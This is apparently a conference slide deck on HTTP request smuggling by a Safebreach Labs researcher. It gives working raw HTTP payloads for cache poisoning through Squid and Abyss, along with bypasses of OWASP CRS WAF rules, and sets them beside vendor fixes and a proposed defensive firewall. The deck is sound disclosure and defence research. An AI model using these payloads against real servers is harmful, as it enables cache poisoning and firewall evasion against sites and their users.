HTTP Request Smuggling in 2020

Amit Klein
Safebreach Labs
About Me

- 29 years in InfoSec
- VP Security Research Safebreach (2015-Present)
- 30+ Papers, dozens of advisories against high profile products
- Presented in BlackHat (3 times), DefCon (twice), Usenix, NDSS, HITB, InfoCom, DSN, RSA, CertConf, Bluehat, OWASP Global (keynote), OWASP EU, AusCERT (keynote) and more
- http://www.securitygalore.com
Introduction
What is HTTP Request Smuggling?

• 3 Actors
  • Attacker (client)
  • Proxy/firewall
  • Web server (or another proxy/firewall)

• Attack
  • Attacker connects (80/tcp) to the proxy, sends ABC
  • Proxy interprets as AB, C, forwards to the web server
  • Web server interprets as A, BC, responds with r(A), r(BC)
  • Proxy caches r(A) for AB, r(BC) for C.

• AKA “HTTP desync Attack”
Different interpretations of the TCP stream

POST /hello.php HTTP/1.1

... Content-Length: 0
Content-Length: 44

GET /poison.html HTTP/1.1
Host: www.example.com
Something: GET /target.html HTTP/1.1
Different interpretations of the TCP stream

POST /hello.php HTTP/1.1
...
Content-Length: 0
Content-Length: 44

GET /poison.html HTTP/1.1
Host: www.example.com

Something:

Caching Proxy (last CL)
1. /hello.php (44 bytes in body)
2. /target.html

GET /target.html HTTP/1.1
Different interpretations of the TCP stream

POST /hello.php HTTP/1.1
...
Content-Length: 0
Content-Length: 44

GET /poison.html HTTP/1.1
Host: www.example.com
Something: GET /target.html HTTP/1.1

Web Server (first CL)
1. /hello.php (0 bytes in body)
2. /poison.html (+headers)
Different interpretations of the TCP stream

POST /hello.php HTTP/1.1
...
Content-Length: 0
Content-Length: 44

GET /poison.html HTTP/1.1
Host: www.example.com
Something: GET /target.html HTTP/1.1

Caching Proxy (last CL)
1. /hello.php (44 bytes in body)
2. /target.html

Web Server (first CL)
1. /hello.php (0 bytes in body)
2. /poison.html (+headers)
A Short History

• 2005 – the seminal paper “HTTP Request Smuggling” is published
• 2005-2006 – some short research pieces
  • Can HTTP Request Smuggling be Blocked by Web Application Firewalls?
  • Technical Note: Detecting and Preventing HTTP Response Splitting and HTTP Request Smuggling Attacks at the TCP Level
  • HTTP Response Smuggling
• 2007-2015 – crickets...
• 2015-2016 – Regis “Regilero” Leroy: “Hiding Wookies in HTTP” (DefCon 24)
Is HTTP Request Smuggling Still a Thing?

- This is 2020, the basic attacks are known since 2005.
- Back to the limelight in recent years (thanks to James Kettle and Regis “Regilero” Leroy)
- Are “mainstream” web/proxy servers vulnerable?
- Scope: IIS, Apache, nginx, node.js, Abyss, Tomcat, Varnish, lighttpd, Squid, Caddy, Traefik, HAproxy
- You’d expect they’re all immune by now…
Part 1
New Variants
Variant 1: “Header SP/CR junk”

- Example:

  
  Content-Length abcd: 20

- Squid: ignores this header (probably treats “Content-Length abcd” as the header name.

- Abyss X1 (web server, proxy): converts “Header SP/CR junk” into “Header”

- Cache poisoning attack (Squid cache/proxy in front of Abyss):

  
  POST /hello.php HTTP/1.1
  Host: www.example.com
  Connection: Keep-Alive
  Content-Length: 41
  Content-Length abcd: 3

  barGET /poison.html HTTP/1.1
  Something: GET /welcome.html HTTP/1.1
  Host: www.example.com
Variant 2: “Wait for it”

- Variant 1 relies on Abyss’s use of the last Content-Length header.
- What if we don’t want to present Abyss with two Content-Length headers?
- Partial request (incomplete body): Abyss waits for 30 seconds, then invokes the backend script. It discards the remaining body and proceeds to the next request.
- Cache poisoning attack (Squid cache/proxy in front of Abyss):

  ```
  POST /hello.php HTTP/1.1
  Host: www.example.com
  Connection: Keep-Alive
  Content-Length abcde: 39

  GET /welcome.html HTTP/1.1
  Something: GET /poison.html HTTP/1.1
  Host: www.example.com
  ```
Variant 3 – HTTP/1.2 to bypass CRS

- mod_security + CRS = free, open source WAF.
- Rudimentary **direct** protection against HTTP Request Smuggling
  - Default paranoia level = 1.
  - Our bypass works for paranoia level ≤ 2.
  - Better defense (with lots of false positives) in paranoia level 3/4.
- However, HTTP Request Smuggling **payloads** can get blocked as HTTP Response Splitting attacks...
- Variant 1 with SP (payload) is blocked by two rules: 921130 and 921150
  - 921130 – look for (?:\bhttp\/(?:0\.9|1\.[01])|<(?:(html|meta)\b) in the body.
  - 921150 – look for CR/LF in argument names (HTTP Response Splitting...)
- Work around 921150 is trivial:
  ```
  x=y=barGET /poison.html HTTP/1.1
  Content-Type: GET /welcome.html HTTP/1.1
  Host: www.example.com
  ```
Variation 3 (contd.)

- Work around 921130 – use HTTP/1.2
  - IIS, Apache, nginx, node.js and Abyss respect HTTP/1.2. They treat HTTP/1.2 as HTTP/1.1.
  - Squid, HAProxy, Caddy and Traefik respect HTTP/1.2 requests and convert them to HTTP/1.1.

- Still a problem – rule 932150 is triggered… (Unix direct command execution), but this can be worked around too:
  
  ```
  POST /hello.php HTTP/1.1
  ...
  Content-Length: 65
  Content-Length abcde: 3
  ```

  ```
  barGET http://www.example.com/poison.html?= HTTP/1.2
  Something: GET /welcome.html HTTP/1.1
  ```
Variant 4 – A Plain Solution

• CRS paranoia level ≤ 2 simply doesn’t check the body of requests with Content-Type text/plain

    POST /hello.php HTTP/1.1
    Host: www.example.com
    User-Agent: foo
    Accept: */*
    Content-Type: text/plain
    Content-Length: 41
    Content-Length Kuku: 3

    barGET /poison.html HTTP/1.1
    Something: GET /welcome.html HTTP/1.1
    Host: www.example.com
    User-Agent: foo
    Accept: */*
Variant 5 – “CR Header”

- First successful report?
  - Listed in Burp’s HTTP Request Smuggling module as “0dwrap”
  - Never seen a report claiming it worked

- **Squid** ignores this header (forwards it as-is).

- **Abyss** respects this header.

- Example (Squid in front of Abyss, using “wait for it”):
  
  ```
  POST /hello.php HTTP/1.1
  Host: www.example.com
  Connection: Keep-Alive
  [CR]Content-Length: 39
  
  GET /welcome.html HTTP/1.1
  Something: GET /poison.html HTTP/1.1
  Host: www.example.com
  ```
Overriding existing cache items

- Use Cache-Control: no-cache (or variants) in the request for the target page
- The header may be moved around
- For example, Squid pushes it to the bottom of the request
Demo

Smuggling demo script: https://github.com/SafeBreach-Labs/HRS
Status

- Variant 1: reported to Squid, Abyss (fixed in v2.14)
- Variant 2: reported to Abyss (fixed in v2.14)
- Variant 3: reported to OWASP CRS. Fixed in CRS 3.3.0-RC2 (pull 1770)
- Variant 4: reported to OWASP CRS. Fixed in CRS 3.3.0-RC2 (pull 1771)
- Variant 5: reported to Squid, Abyss (fixed in v2.14)

[UPDATE July 17th, 2020] For Variants 1 and 5, Squid Team assigned CVE-2020-15810 to these issues and suggested the following (configuration) workaround:

```
relaxed_header_parser=off
```

A fix is expected on August 3rd (Squid security advisory SQUID-2020:10)
Part 2
New Defenses
Flawed Approach #1

Normalization of outbound HTTP headers (for proxy servers)

- Good for HTTP devices behind the proxy
- Not effective at all for attacks happening between the proxy and devices in front of it.
- You are P2 in the sequence: Client → P1 → P2 → WS
  - P1 uses (say) the first CL, P2 uses the last CL.
  - HTTP Request Smuggling can happen between P1 and P2.
- Blame game?
  - Think of P2 → WS as an abstraction for a web server WS': Client → P1 → WS'
  - WS' accepts multiple CL headers, uses the last one.
  - Is WS' vulnerable to HTTP Request Smuggling?
  - If you answered “Yes”, then P2 is vulnerable to HTTP Request Smuggling.
Flawed Approach #2

One (new) TCP connection per outbound request (proxy servers)

- Good for HTTP devices behind the proxy
- Not effective at all for attacks happening between the proxy and devices in front of it.
- Same as previous slide.
mod_security + CRS?

**Pros:**
- True WAF
- Free
- open source

**Cons**
- Only supports IIS, Apache, nginx
- Rudimentary defense (only) against HTTP Request Smuggling

Not good enough (for my use case) 😞
A different concept

- Lightweight, simple and easy – not a WAF
- Focus on specific (protocol) attacks – HTTP Request Smuggling
- Secure
- PoC doesn’t need to be production quality – it just shows that this can be applied (e.g. by vendors).
A More Robust Approach

Very strict validation of a small subset of the HTTP “standards”:

- Anything that affects the request length:
  - Headers: Content-Length, Transfer-Encoding
  - Unambiguous line ends, header end

- Request line
  - Unambiguous verb name (GET, OPTIONS, HEAD, DELETE expect no body)
  - Unambiguous protocol designation (HTTP/1.0 or HTTP/1.1)

- ToDo: more headers? (Connection, Host, etc.)
Design goals

• Generic – don’t tie to a specific technology/product/platform
  • No dependency on platform-specific technologies e.g. Windows LSP/WFP

• Nice to have: extensibility (beyond HTTP)
  • HTTPS? (TLS)
  • Other protocols?

• Secure
  • In-path monitoring (not sniffing based)

Solution: good old function hooking (for sockets, etc.)
Function Hooking

• “Supported” by major operating systems (Windows, Linux)
  • There are even cross platform function hooking libraries – e.g. FuncHook (https://github.com/kubo/funchook)
  • Stability and robustness may be an issue – but this is a tech demo

• Still need to inject code in the first place:
  • Windows – e.g. using standard DLL injection
  • Linux – e.g. LD_PRELOAD
  • So again: stability, etc.
Socket Abstraction Layer (SAL)

- Abstracts a native socket into standard open-read-close view
- Cradle-to-death monitoring of native sockets
- No buffering
- Maintain a map sockfd → user object
- Signaling:
  - CTOR – socket open
  - onRead – socket read
  - DTOR – socket close
  - sockfd – allows user object to e.g. send data on the socket
  - Return value – forcibly close socket
## SAL – What to Hook? (Windows)

<table>
<thead>
<tr>
<th>Server</th>
<th>Bitness</th>
<th>WSAAccept</th>
<th>AcceptEx</th>
<th>WSARcv</th>
<th>closesocket</th>
<th>GetQueued Completion Status/Ex</th>
<th>Get Overlapped Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>Apache</td>
<td>64</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>nginx</td>
<td>64</td>
<td>Yes</td>
<td></td>
<td>Yes</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>node.js</td>
<td>64</td>
<td></td>
<td>Yes</td>
<td></td>
<td></td>
<td></td>
<td>Yes</td>
</tr>
<tr>
<td>Abyss</td>
<td>64</td>
<td>Yes</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Yes</td>
</tr>
<tr>
<td>Tomcat</td>
<td>32</td>
<td>Yes</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>lighttpd</td>
<td>32</td>
<td>Yes</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Yes</td>
</tr>
</tbody>
</table>
### SAL – What to Hook (Linux 64bit)

<table>
<thead>
<tr>
<th>Server</th>
<th>accept</th>
<th>accept4</th>
<th>uv__accept4 (libuv)</th>
<th>recv</th>
<th>read</th>
<th>shutdown</th>
<th>close</th>
</tr>
</thead>
<tbody>
<tr>
<td>Apache</td>
<td>Yes</td>
<td></td>
<td></td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>(Yes)</td>
</tr>
<tr>
<td>nginx</td>
<td>Yes</td>
<td></td>
<td>Yes</td>
<td></td>
<td>Yes</td>
<td>(Yes)</td>
<td></td>
</tr>
<tr>
<td>node.js</td>
<td>Yes</td>
<td></td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>(Yes)</td>
<td></td>
</tr>
<tr>
<td>Abyss</td>
<td>Yes</td>
<td></td>
<td></td>
<td>Yes</td>
<td></td>
<td></td>
<td>Yes</td>
</tr>
<tr>
<td>Tomcat</td>
<td>Yes</td>
<td></td>
<td></td>
<td></td>
<td>Yes</td>
<td>Yes</td>
<td>(Yes)</td>
</tr>
<tr>
<td>lighttpd</td>
<td>Yes</td>
<td></td>
<td>(Yes)</td>
<td>Yes</td>
<td>Yes</td>
<td>(Yes)</td>
<td></td>
</tr>
<tr>
<td>Squid</td>
<td>Yes</td>
<td></td>
<td></td>
<td></td>
<td>Yes</td>
<td></td>
<td>Yes</td>
</tr>
<tr>
<td>HAproxy</td>
<td>Yes</td>
<td></td>
<td></td>
<td>Yes</td>
<td></td>
<td></td>
<td>Yes</td>
</tr>
</tbody>
</table>
Challenges and Lessons Learned

- Worker processes/forking
- Locking (socket management table)
- Preserve the correct error state (errno, LastError, WSALastError)
- stdout/stderr not always available
- Squid (Linux) doesn’t like fclose()
- Statically linked executables with stripped symbols (compiled go)
- Linux recv() implementation actually invokes recvfrom syscall
- accept()/accept4() invoked with addr=NULL
- uvlib (Node.js) – uv__accept4() needs to be hooked
Request Smuggling Firewall (RSFW)

- Enforce strict RFC 2616 on “relevant” parts of HTTP requests
  - Request line format
  - Header name format
  - Content-Length, Transfer-Encoding – also value format
  - Header end-of-line
  - Chunked body format
- Default deny policy
- Single line internal accumulation (data is forwarded to app in real time)
- Violation handling:
  - Can send a 400 response
  - Connection termination
Demo

Library: https://github.com/SafeBreach-Labs/RSFW
Part 3
New Research Challenges
New Research Challenges

• Promising/suspicious anomalies in an HTTP device
• I can describe a “matching” behavior that leads to HTTP Request Smuggling
• No “matching” behavior found (so far)
• Naïve example (2005...):
  • I notice a web server which takes the first header in a double CL
  • A matching behavior: a proxy which takes the last CL header (but keep both headers)
  • But in my lab, I can only find proxy servers that either take the first header, or reject the request
CR in a header name is a hyphen

- Content\rLength— treated by one web server as “Content-Length”.
- Why? I suspect a quick-and-dirty “upercasing”, using OR with 0x20:
  ('\r' | 0x20) == ‘-’
- Sought matching proxy behavior: ignore (forward as-is)
- Attack: the web server expects a body (but using a GET request, the web server will immediately forward the request to the application without a body!, and will later discard the body data sent by the proxy)
- But: All proxy servers I have either reject (400) or modify.
“Signed” Content-Length

- Content-Length: +1234
- Non-RFC
- Some proxy implementations use API a-la atoi() which accepts a sign
- Sought matching web server behavior: ignore
- Attack: obvious (the web server has de-facto CL=0)
- NOTE: doesn’t work if the proxy normalizes the CL header.
- But: All web servers I have either reject (400) or honor.
- Vendor status: fixed by Squid (CVE-2020-15049), Abyss, Go.
Content-Length value with SP

- Content-Length: 12 34
- Non RFC
- Nginx (as a web server) ignores the header
- Sought behavior: a proxy that uses the value (as 1234/12/34) and forwards the header as-is
- Attack: obvious (nginx sees de-facto CL=0)
- But: all proxy servers I have either reject (400) or remove the header
- Reported to nginx. WONTFIX (“this doesn't look like a vulnerability in nginx, as the request in question cannot be passed through a complaint HTTP proxy with the header interpreted as a Content-Length header”)
Chunky Monkey Business

- One web server simply ignores Transfer-Encoding (i.e. doesn’t support chunking)
- Non RFC
- Sought behavior: a proxy server that prefers TE over CL (but does not modify)
- Attack: TE+CL.
- But: all proxy servers I have normalize the request (either per CL or per TE)
Conclusions
Take-Aways

• HTTP Request Smuggling is still a thing (in 2020, in COTS SW)
• Existing open source solutions are lacking
• There is a more robust approach for defending against HTTP Request Smuggling, and it is feasible
• There are still some interesting challenges in this area!
Thank You!